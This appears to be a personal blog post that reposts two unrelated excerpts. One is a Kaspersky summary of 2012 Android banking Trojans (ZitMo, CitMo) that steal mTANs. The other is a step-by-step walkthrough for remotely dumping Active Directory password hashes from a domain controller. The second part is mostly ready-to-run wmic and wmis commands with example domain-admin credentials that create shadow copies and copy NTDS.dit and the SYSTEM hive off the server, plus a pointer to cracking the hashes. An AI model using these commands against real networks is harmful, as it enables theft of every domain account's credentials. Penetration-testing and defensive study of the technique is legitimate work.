Mobile Malware Evolution….

Kaspersky Lab’s prediction that we would see the first mobile botnets for Android was also accurate. Note, however, that the botnets that emerged varied greatly in terms of where in the world devices were infected, as well as the number of infected devices, and the functions of the malware.

The predictions addressed above only affected the most commonly used platform today – Android. As far as other mobile platforms and operating systems are concerned, we expected targeted attacks to be among the key threats targeting Symbian, BlackBerry, and other mobile platforms. Typical attacks of this kind usually involve ZitMo and SpitMo (ZeuS- and SpyEye-in-the-Mobile). This prediction also proved correct. Furthermore, the family of threats designed to steal mTANs (ZitMo and SpitMo) gained a new addition – the prevalent bank Trojan Carberp now has a mobile version with the alias CitMo, or Carberp-in-the-Mobile.

Two other general, but critically important, predictions that will play a key role in determining the future of attacks on mobile platforms also came true. First, we saw the development of a fully-fledged mobile malware development industry. Second, mobile espionage went beyond the realm of law enforcement agencies and firms specializing in detective work.

The main developments in mobile malware in 2012 are the subject of this sixth edition of Kaspersky Lab’s Mobile Malware Evolution report.

Several new ZitMo modifications for Android have started to look more like their “brothers” targeting other platforms. Previously ZitMo for Android had only relatively primitive functions (primarily the ability to forward incoming text messages containing mTANs). However, the latest versions of this Trojan have included an expanded list of commands that are used by the writers of the malicious program to control and manage the threat’s operations.

An example of some of the commands in ZitMo for Android

Before 2012, attacks launched to steal mTANs had been detected in just a handful of European countries: Spain, Italy, Germany, Poland, and a few others. These attacks involved users of a variety of mobile platforms: Android, BlackBerry, Symbian, and Windows Mobile. In late 2012, Russia became one of the targets, as online banking became more commonplace — a factor that did not go unnoticed by virus writers. The widespread Trojan Carberp, which operates in a similar way to that of ZeuS, got its own mobile version: Trojan-Spy.AndroidOS.Citmo.

Just like its partner in crime ZeuS ZitMo, the CitMo Trojan is capable of concealing incoming text messages containing mTANs and forwarding them to malicious users. Different versions of CitMo forward intercepted text messages both to the telephone numbers of cybercriminals and to their remote servers.

One version of Carberp changed the landing page of a Russian bank’s online banking system. Users were asked to download and install a program allegedly required to enter the system. Users could opt to receive a link to the program by text message, either by providing their phone number in advance, or by scanning a QR code.

QR codes are one way to download malware

The link in this example led to the AberSafe application, which was actually Trojan-Spy.AndroidOS.Citmo, and was in the Google Play app store within two weeks.

p/s:- This article is taken from excerpt from Kaspersky web site http://www.securelist.com. We can see that there is a progress of malware infection from year 2012 till now 2013. Mostly , the operating system that hits the highest rank from 2012 till 2013 is Android operating system.

Volume shadow copy ntds.dit domain hashes remotely – part 1.

 

 

 

 

 

 

 

Ever run into a Domain Controller that wasn’t allowed to talk to the Internet, had insane AV and GPOs not allowing anyone to RDP in (Even Domain Admins) unless they provided some kind of voodo happy dance? Ya me neither, but here is how you can still dump domain hashes and hash history if you run into that case. Lets start

First authenticate to the domain controller and make sure you have a good working directory to use.

net use \\DC1 /user:DOMAIN\domainadminsvc domainadminsvc123
dir \\DC1\C$

Alright, lets say “TEMP” is there and it’s empty on the remote DC. The way we are going to run commands will not allow us to get results directly so we are going to use a temp file on the DC in C:\TEMP where we already made sure is clear.

We are going to be using Volume Shadow Copies to pull the NTDS.dit file (Active Directory’s DB much like Window’s SAM file except that it stores the entire AD set of objects there), we also need the SYSTEM registry hive. You can get the SAM registry hive as well but that will only get local DC credentials.

So lets list the current volume shadow copies to see if we need to create one, from a Windows command prompt (or if you’ve installed wmic for Linux via ​http://www.krenger.ch/blog/wmi-commands-from-linux/ ) – this _IS_ an interactive command so this won’t work very nicely in a Meterpreter shell:

C:\temp>wmic /node:DC1 /user:DOMAIN\domainadminsvc /password:domainadminsvc123 process call create "cmd /c vssadmin list shadows 2>&1 > C:\temp\output.txt"
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
        ProcessId = 7304;
        ReturnValue = 0;
};

To break down this command:

• wmic /node:DC1 – tells it to interact with the WMI API on DC1
• /user:DOMAIN\domainadminsvc /password:domainadminsvc123 – authentication
• process call create – WMI speak for create a process
• cmd /c – vssadmin doesn’t operate outside of cmd for some reason…
• vssadmin list shadows – List any shadow volumes that already exist
• 2>&1 > C:\temp\output.txt – Take STDIN and STDERROR and throw it in a text file on DC1 C:\TEMP. Make sure you specify full path because you will be executing from within C:\Windows\System32 and its a pain to find anything in that directory. So if you just specify > bob.txt you get to hunt in C:\Windows\System32 or wherever WMI wants to execute you from for bob.txt

Process starts and then you need to view the output file by either copying it down, type \\DC1\C$\TEMP\output.txt or mount the C drive as a network share. Either way you should either see something like this:

C:\temp>type output.txt
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2005 Microsoft Corp.

Contents of shadow copy set ID: {671090fd-0198}
   Contained 1 shadow copies at creation time: 5/31/2013 11:29:03 AM
      Shadow Copy ID: {0863e309}
         Original Volume: (C:)\\?\Volume{c44da10e-0154-11e1-b968-806e6f6e6963}\
         Shadow Copy Volume: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
         Originating Machine: wpad
         Service Machine: wpad
         Provider: 'Microsoft Software Shadow Copy provider 1.0'
         Type: ClientAccessibleWriters
         Attributes: Persistent, Client-accessible, No auto release, Differential, Auto recovered

or

C:\temp>type output.txt
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2005 Microsoft Corp.

No items found that satisfy the query

If there are no shadow copies or the ones there are too old (look at the creation time), you can create a shadow copy using the ‘vssadmin create shadow /for=C: command. (This command only applies to Server OS (Win2k3/Win2k8) but since those are the only two that commonly have NTDS.dit files we don’t have to remember this):

C:\temp>wmic /node:DC1 /user:DOMAIN\domainadminsvc /password:domainadminsvc123 process call create "cmd /c vssadmin create shadow /for=C: 2>&1 > C:\temp\output.txt"

The other thing to keep in mind is that NTDS.dit isn’t always on the main drive. It is commonly on a “D” drive for safety if a HDD goes bad or something. But it should always be in a folder called NTDS. (By default this is C:\Windows\NTDS)

Next we just copy the files out of the shadow copies. First the SYSTEM hive:

C:\temp>wmic /node:DC1 /user:DOMAIN\domainadminsvc /password:domainadminsvc123 process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM.hive 2>&1 > C:\temp\output.txt"

Then the NTDS.dit (notice this one isn’t in System32):

C:\temp>wmic /node:DC1 /user:DOMAIN\domainadminsvc /password:domainadminsvc123 process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit C:\temp\NTDS.dit 2>&1 > C:\temp\output.txt"

In Kali Linux you could use the WMIS package to do much the same thing:

root@kali:~# wmis -U DOMAIN\domainadminsvc%domainadminsvc123 //DC1 cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit C:\temp\NTDS.dit 2>&1 > C:\temp\output.txt
NTSTATUS: NT_STATUS_OK - Success

p/s:- This article is taken from excerpt form Mubix blog http://www.room362.com
      In part 2 , you have to download ntdsxtract that is a zip file and use it to extract libesedb  and NTDS.dit. Then we can 
      can start cracking and see the user account that it use. Hope you all enjoy....